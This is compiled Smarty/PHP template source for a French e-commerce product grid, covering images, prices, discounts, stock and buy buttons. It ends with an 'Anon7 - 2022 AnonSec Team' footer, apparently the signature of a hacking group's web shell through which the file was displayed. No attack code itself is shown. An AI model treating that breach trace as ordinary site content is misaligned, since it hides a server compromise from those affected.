                                                        <img src="templates/shop/img/no-picture.jpg" alt="<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['name'];?>
">
                                                    <?php } else { ?>
<?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>                                                    
<div class="grid">
					<figure class="effect-zoe">
						<img src="uploadfiles/products/mini/<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['picture'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['name'];?>
" style="margin-left:auto;margin-right:auto;height: 200px;width:100%" />
						<figcaption>
							<h2><span><i class="fa fa-eye fa-1x" ></i>&nbsp;</span></h2>

							<p class="description"><?php echo $_smarty_tpl->tpl_vars['txt_zoe']->value;?>
</p>
						</figcaption>			
					</figure>
</div>                                                    
<?php } else { ?>                                                              
  						<img src="uploadfiles/products/mini/<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['picture'];?>
" alt="<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['name'];?>
" style="height: 200px" />                                                  
<?php }?>   
                                                    <?php }?>
                                                </div>
                                            </a>                                            
                                    <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['discount'] != 0) {?>
                                      <div class="coin" <?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>style="margin-top: -280px;"<?php }?>><img src="templates/shop/img/<?php echo $_smarty_tpl->tpl_vars['img_impro']->value;?>
" alt="" /></div>
                                     <?php }?>                                             
<?php if ($_smarty_tpl->tpl_vars['zoe']->value > 0) {?>
 <div class="caption" style="margin-top: -70px;">     
 <?php } else { ?>
 <div class="caption">
 <?php }?>                                             
                                          <div style="text-align:center"><h4 style="margin-bottom: 3px"><?php echo $_smarty_tpl->tpl_vars['newProduct']->value['name'];?>
</h4></div>
<?php if ($_smarty_tpl->tpl_vars['act_marq']->value > 0) {?>                                                           
<?php if ($_smarty_tpl->tpl_vars['newProduct']->value['lamarque'] !== '') {?>  
<div style="text-align:center"><span class="title_marque"><?php echo $_smarty_tpl->tpl_vars['newProduct']->value['lamarque'];?>
</span></div>                                                                                             
<?php }?>  
<?php if ($_smarty_tpl->tpl_vars['newProduct']->value['lamarque'] == '') {?>                                                                                                                                                    
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div> 
<?php }?>  
<div style="text-align:center"><div class="motscle"><?php echo $_smarty_tpl->tpl_vars['newProduct']->value['meta_keywords'];?>
</div></div>
<?php } else { ?>                                            
<div style="text-align:center"><span class="title_marque" style="color: transparent">|</span></div>                                                                                
<div style="text-align:center"><div class="motscle"><?php echo $_smarty_tpl->tpl_vars['newProduct']->value['meta_keywords'];?>
</div></div>
<?php }?> 
<?php if ($_smarty_tpl->tpl_vars['AffiPrix']->value > 0) {?>                                           
                                      <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['discount'] == 0) {?>      
                                            <div style="margin-top:5px;margin-bottom: 5px">    
                                             <i><?php echo $_smarty_tpl->tpl_vars['txt_prix']->value;?>
</i> 
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            
                                            <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['hstock'] < 1) {?>
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
                                            <?php }?>
                                            <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['hstock'] > 0) {?>
                                            <img src="templates/shop/img/indispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>

                                            <?php }?>                                            
                                            </div>                                                                                                  
                                                 <div class="prix" style="text-align:center">
                                                  <?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['newProduct']->value['price']),'.',',');?>
 € </div>

                                              <?php } else { ?>                                                
                                           <div style="margin-top:3px;margin-bottom: 5px">    
                                           <span style="font-size: 16px;text-decoration:line-through"><?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['newProduct']->value['price']),'.',',');?>
 €</span>
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            
                                            <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['hstock'] < 1) {?>
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
                                            <?php }?>
                                            <?php if ($_smarty_tpl->tpl_vars['newProduct']->value['hstock'] > 0) {?>
                                            <img src="templates/shop/img/indispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_nodispo']->value;?>

                                            <?php }?>                                            
                                            </div>                                                                                                  
                                           <div>     
                                           <span style="font-size: 22px; color: #ff0000">  -<?php echo smarty_modifier_replace(sprintf("%.1f",$_smarty_tpl->tpl_vars['newProduct']->value['discount']),'.',',');?>
% </span>
                                           
                                            &nbsp;<?php echo smarty_function_math(array('equation'=>"price - price * (promo / 100)",'price'=>$_smarty_tpl->tpl_vars['newProduct']->value['price'],'promo'=>$_smarty_tpl->tpl_vars['newProduct']->value['discount'],'assign'=>"promotion"),$_smarty_tpl);?>
  
                                                   <span class="prix" style="font-size: 22px;float:right; margin-top:0px">  <?php echo smarty_modifier_replace(sprintf("%.2f",$_smarty_tpl->tpl_vars['promotion']->value),'.',',');?>
 € </span>
                                            </div>
                                            <?php }?>                                                  
<?php } else { ?>
<div style="margin-top:20px;margin-bottom: 5px">    
                                             <i><?php echo $_smarty_tpl->tpl_vars['txt_prix']->value;?>
</i> 
                                            </div> 
                                            <div style="float:right; margin-top:-27px;"> 
                                            <img src="templates/shop/img/dispo.png" alt="<?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
" style="margin-top: -2px;">  <?php echo $_smarty_tpl->tpl_vars['txt_dispo']->value;?>
    
</div>
<?php }?>

<?php $_smarty_tpl->tpl_vars['exist'] = new Smarty_Variable('0', true, 0);?>                                                                 
 <?php
$_from = $_smarty_tpl->tpl_vars['cart']->value;
if (!is_array($_from) && !is_object($_from)) {
settype($_from, 'array');
}
$_smarty_tpl->tpl_vars['productd'] = new Smarty_Variable;
$_smarty_tpl->tpl_vars['productd']->_loop = false;
$_smarty_tpl->tpl_vars['key'] = new Smarty_Variable;
foreach ($_from as $_smarty_tpl->tpl_vars['key']->value => $_smarty_tpl->tpl_vars['productd']->value) {
$_smarty_tpl->tpl_vars['productd']->_loop = true;
$foreach_productd_Sav = $_smarty_tpl->tpl_vars['productd'];
?>                                            
  <?php if ($_smarty_tpl->tpl_vars['productd']->value['id'] == $_smarty_tpl->tpl_vars['newProduct']->value['id']) {?> 
  <?php $_smarty_tpl->tpl_vars['exist'] = new Smarty_Variable('1', true, 0);?>
  <?php }?> 
 <?php
$_smarty_tpl->tpl_vars['productd'] = $foreach_productd_Sav;
}
?>                                                                                                                                
<br />                                             
<div style="padding:0; margin:0;margin-top:-20px;">          
   
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<a href="produit-<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['seo'];?>
"><img src="templates/shop/img/view_product.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src='templates/shop/img/view_product_hover.png'" onMouseOut="this.src='templates/shop/img/view_product.png'"></a>                                                  
</div>  

<?php if ($_smarty_tpl->tpl_vars['newProduct']->value['hstock'] > 0) {?>
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">                                
<?php if ($_smarty_tpl->tpl_vars['AffiPrix']->value > 0) {?>
<img src="templates/shop/img/hors_stock.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /> 
<?php } else { ?>
<img src="templates/shop/img/avec_attribut.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />
<?php }?>                                                
</div> 
</div> 

<?php } elseif ($_smarty_tpl->tpl_vars['newProduct']->value['id_attribute'] > 0) {?>       
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">   
<img src="templates/shop/img/avec_attribut.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /> 
</div>
</div>
 
<?php } elseif ($_smarty_tpl->tpl_vars['exist']->value > 0) {?> 
<div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">   
<a href="cart.php"><img src="templates/shop/img/reserve.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" /></a> 
</div>
</div>  
 
<?php } elseif ($_smarty_tpl->tpl_vars['newProduct']->value['h_achat_direct'] > 0) {?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center"> 
<img src="templates/shop/img/no_achat.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />                                                 
</div> 
</div>  

<?php } elseif ($_smarty_tpl->tpl_vars['achat_direct']->value < 1) {?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center"> 
<img src="templates/shop/img/no_achat.png" alt="" style="width: 100%; max-width: 200px; height: auto;padding:2px" />                                                 
</div> 
</div>  

<?php } else { ?>
 <div class="col-sm-6" style="padding:0; margin:0;margin-top: 10px">
<div style="text-align:center">  
  <?php echo '<script'; ?>
>
   document.write('<a href="<?php echo $_smarty_tpl->tpl_vars['self_page']->value;?>
" id="submit_BB3<?php echo $_smarty_tpl->tpl_vars['newProduct']->value['id'];?>
" onclick="javascript:document.the_form.submit();return false;"><img src="templates/shop/img/achat.png" style="width: 100%; max-width: 200px; height: auto;padding:2px" onMouseOver="this.src=\'templates/shop/img/achat_hover.png\'" onMouseOut="this.src=\'templates/shop/img/achat.png\'"><\/a>');
    <?php echo '</script'; ?>
>                                               
</div>
</div>    
  <?php }?>    
   
</div>       
  
</div>
                                        </div>   
                                    </li>
<?php }?> 
                                <?php
$_smarty_tpl->tpl_vars['newProduct'] = $foreach_newProduct_Sav;
}
?>                                                             
                            
                        </ul>                    
                <?php }?> 
<?php }?>                
   <?php }
}
?>

Anon7 - 2022
AnonSec Team